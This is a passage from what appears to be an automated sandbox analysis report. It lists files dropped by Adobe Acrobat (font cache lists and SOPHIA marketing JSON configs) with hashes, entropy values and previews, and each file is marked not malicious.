Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6532

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358179862850355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJM3g98kUwPeUkwRe9:YvXKXKPYpW7sGMbLUkee9
MD5:	50DBC4BBB46AFBC9542417A3DFD5F38B
SHA1:	D61C0AA11CEDAD1D9CB1C793EF3B4453D4FB78A5
SHA-256:	DC4D7FA60645463D48CCA1203E9888D5848804522742A797935A50A43289FE30
SHA-512:	718DE34CA73D4B07BE30706B65F7105FAC95D028E424D7A47D36913938868AAE21F6CAA6C270F225372B3454E3B76C009979EE117D18DFA072D2A11C2F792F97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297032392763279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfBoTfXpnrPeUkwRe9:YvXKXKPYpW7sGWTfXcUkee9
MD5:	EB4943FA539AC4BA532828D86B9FF071
SHA1:	A98FA9BEC502F77FA46635B5BBE852C33FE28E0A
SHA-256:	A618D97DFE945750F2A6FECF7A05AF83A4940454BED198BB0995AA3244743A5E
SHA-512:	464EC9369B4571A0DDCCD74D72146E8EDF41598DC3A49579DEA666F24DC334F89E07F5BABEE434E0439878D9BC2C19CACB4C83863CC0305CDA1FD0B0C4AF9E7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274882486340349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfBD2G6UpnrPeUkwRe9:YvXKXKPYpW7sGR22cUkee9
MD5:	8B7DBDB64826132A2560DDFAC7E7C8C9
SHA1:	0B1F86E6C5C9D62898939A3516351A975B115B8C
SHA-256:	2BE2366BF750B2F6CF3D9F8C47D578C74F07131980A19C867904ADC263F1197E
SHA-512:	C04B752FA4A276182CC8D81ED30D398DCD10D37489ECFD3D01DC35D7F0D32AA67CBCCC814071F57F1A907AD81F87B67C28F04B5AB3CF1541BFC80DC7563CC013
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33689086248791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfPmwrPeUkwRe9:YvXKXKPYpW7sGH56Ukee9
MD5:	A8B355A9DECC0E66EA6025397009536D
SHA1:	9689BF76D27F87AE7ABCBE811BC9B0B258B78A1E
SHA-256:	38D61CF73A216AEBDFDD02AF3FAFC0ECA996CDA93DB67D1515949A0AD27516B4
SHA-512:	1E11C6CCB0E76E5604F05DE3D685072D9A38C8DA6E160AAC67651FEFB19F98665178675FF553E0E13AB3D83E793D163EA0E98692B4FC534AFBF89571DBD6DA33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6902863099363
Encrypted:	false
SSDEEP:	24:Yv6XBiJpLgE9cQx8LennAvzBvkn0RCmK8czOCCS1:Yv7Jhgy6SAFv5Ah8cv/1
MD5:	C29ED094E359A151D8AEA2D29B3F1AAB
SHA1:	8D08B7EFFB071B7E05E32C36F1174FB4ACF1FC37
SHA-256:	304601EFE12268FCB759AB118268496E069B0026D2C0D16AA816F41310008582
SHA-512:	6CE8B242F5EED284F8261BC086E5D92372369E163C9FC895165B675AF32B888F6759209B8DBDEF3CCC198A4227F31AA70969E2C3CCB3BCC32066B44A0193AA9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285102647858012
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJf8dPeUkwRe9:YvXKXKPYpW7sGU8Ukee9
MD5:	CDB83F194BD1CCDA92B733F7F02C89E7
SHA1:	A2789A56591475FA08D1DB3E888DE57A0C1796E8
SHA-256:	2140E1AAF14ED49A36D6F14AF2D5EA1BD9C509A117BE9EF537FF888CFB2FA4A7
SHA-512:	CCAD8EF25A49D4D1AF3430B0091CDD100FFB5C30177C16A7A7C958810A005C4D4BC176C327DBEB751DF8AE2B0C66BA9B8567642218FCA678A07B537DD40D9BCD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.286210904277619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfQ1rPeUkwRe9:YvXKXKPYpW7sGY16Ukee9
MD5:	D1DC832CD269A5B3EC8480501DBB45E0
SHA1:	639653DBF818D7B49BD67BE5CC6D410416CD4583
SHA-256:	D8E21869F3BDD1F42ABB28785686DA926A093B6B1122A5549353069E7E5C2007
SHA-512:	BAB87FDFEE29B7EC1A9D00B0F17D3D03DAA9447D93A93F0CA2F3365B8F0A3D9E369C990C0D1A4D895F94D4A4150EFC36EB0CF602A964905ABE86E3F74CCE8FA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308340666836751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfFldPeUkwRe9:YvXKXKPYpW7sGz8Ukee9
MD5:	D35D141F737890CC8F504E76DF71B1D0
SHA1:	3420262A81423C1619D2ADCABDD529EC93752DCB
SHA-256:	F4036CD73F49AB166C9324179EB3F66025F8A9710D800404F1BC049DD6401E82
SHA-512:	ADD6428E99125D62817766706D6B7BC2827A4FBFB1CC56A898EB85EF33B9FDA7B26974EDB95C2C58F80F9319D94012E9E8B62E4DEE356AFFB73F1274D5AB4380
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313592968041955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfzdPeUkwRe9:YvXKXKPYpW7sGb8Ukee9
MD5:	1851A4F0CE9B025AADD8489F3D563FB4
SHA1:	9AC4015719202FB2475A3AE62E66028EAE92D957
SHA-256:	D133A408EB19A2ACA6A305F0AC39113F31C0C4AD671DB35DA2E8A9273525F515
SHA-512:	E39883DF1C7C8241C7FF44077E194B2D41B9348B307C171EB00332CF04460FDDFB36597E25374274C4983E2D150337625C60A7098C6B7A8088EE1EF2377FAF64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293823086799345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfYdPeUkwRe9:YvXKXKPYpW7sGg8Ukee9
MD5:	05E75C26005069D493678114EC24511E
SHA1:	CCBF139E5A98D0A92F48C4172A1B7C2182B75058
SHA-256:	3B32F466A3440135E845A6159DB8AE9671EB5D3121832496E599C2990A855B04
SHA-512:	0ED839522D4E50BE90F298B74ABCA5EE70D3FA294F7D3AE97108920893F1E5AC797AE6CFEF7B9906B0983A36F3B929407BD5E6D6DD11DD5E92BB59BDCD4592E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279764711150377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJf+dPeUkwRe9:YvXKXKPYpW7sG28Ukee9
MD5:	9058EA41D4680D944D639CBE77751D6A
SHA1:	8948C58C07D5B0AD065D13D3BF69A3F7D663F124
SHA-256:	D25EE1E8626C519958250D2E66DAD587DEBCE78367E693276E1E1F2321C8C238
SHA-512:	B835ACA3E8412328C8CD07D6D80F008752B8A8EEA70F99AC9842006B6DAC44C894FD4D54C7F04EC731BCA6AF622AC2EE29B6EFB9ABB956A024346E9CD585664D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.277412637484897
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfbPtdPeUkwRe9:YvXKXKPYpW7sGDV8Ukee9
MD5:	53C6EAB26859997D5026B842E78BD86E
SHA1:	3777501C4354FB9A23F3F8D5AB3866C69B0CB742
SHA-256:	3275E4B17B5BD0B005516BFD6191F621C1F9114BFF99FDB5B8675A1530FAEFD4
SHA-512:	E2B5CA4124B25297618541A405409F17CDAE03A92B0BA2E2AF2C1615B931877B7A988C26DB127A2AC922D8ADB42A1386DA442F0916C872023C95555D2244D2D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.278685978454178
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJf21rPeUkwRe9:YvXKXKPYpW7sG+16Ukee9
MD5:	4285D74B0EF29B8BAE5D48718AC55BC3
SHA1:	A5EBA96C0F7E0C36720EEDDDCC22DF5DB73206FE
SHA-256:	13758A880154FF11AB40D4A5065CE5B24EA2B37436297298BA16E1A283E47233
SHA-512:	EA6D94D2477130A42E7A76D5802BA67D6CEDA972C4E9BEB91A6F9A4DB32C29BE27F9BE4A7BB19C0F7415861474FC31596F681749FC9FDF8FC026867DF8712812
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662680381289138
Encrypted:	false
SSDEEP:	24:Yv6XBi5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS1:Yv7FBgkDMUJUAh8cvM1
MD5:	A90BC86B3A1F6D884346E7CEBE7FABD4
SHA1:	32563084BE0E14D7E3574B2CB7F4C62780AADA83
SHA-256:	86BBFEF651F7601B9E37C57BB1A7715EEED3657BC027E23C69F636472DED25B8
SHA-512:	EE3054354C77795C1E068B18FA8DC9B9A6F1B25EC11CAF253D6FCB15D9B9C156C6FD4A0B7167A36AA330DFE62B6C2B7383C0C4C060FFE48DDE6E71018CD55B08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255587216800711
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJfshHHrPeUkwRe9:YvXKXKPYpW7sGUUUkee9
MD5:	A9189A7B18CE7AD2D638DE0FC20CDB7F
SHA1:	A2DC742786DFA392A730CA0D5E7BE43F4F75ECE9
SHA-256:	DC5186A2D5ACBEDD98456F3908BA4C381F4855205EB35AB826D93F3C51D3CD84
SHA-512:	5A7A695A67CB4CA6A3693F803BD968220BA84CF2D81F38874D458B028C30685F22F3C5C9AD3BB184E0E6EB1035ECFD4FCBAB5DD85B90BD65F7FC93F9B4E803D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264450822660549
Encrypted:	false
SSDEEP:	6:YEQXJ2HXKUcWD4HSJR+FIbRI6XVW7+0Y0FoAvJTqgFCrPeUkwRe9:YvXKXKPYpW7sGTq16Ukee9
MD5:	4C85B9F5B050A3A58C5AB4CB7D939D61
SHA1:	29B000EC9692B360BD95CA729D1BF4E19A26B0D4
SHA-256:	911F87EDD27320996736DF317CFDDE3F43B80B2FA6354452C001DD11C386A39F
SHA-512:	B154B8D5FFC2972923AFDA57FE5AF3510791EC0A418BA0EF5A2D9ADB723F1383C5C28DD9D23429AD69673DA59F4F866052C54B6925C86808A0671995CBC1001C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bb694bec-9fb5-458c-b53c-5b57a92f08b3","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742122385,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139030263865381
Encrypted:	false
SSDEEP:	24:YRWAafq/ayaHpPHJFsSJHk4kV5nnbIwjWoXsj0SwvXAU2zV2LS6Ckkc/waAB1Mdp:YQJfDJHkDvbZWC+GwsQc/oMkq099Y
MD5:	FCDC80B3A1B7169055820D568C4A7270
SHA1:	4F49D3DFCF8D0872A2AE2DB3C35E2139E054F4B1
SHA-256:	7C941A00DE527D0E2E14AA0F8A33A3309FF84EEEDF198AD45EEC7F42704EFEDF
SHA-512:	9C0AB380CD8AF43E880757995B46BF38579DCBFFB6E22085113A624F1AAAAE0879A85D0F9DD4EC1782320748FF250284F9B8DA59959731E9AF532FD66EB0AD62
Malicious:	false
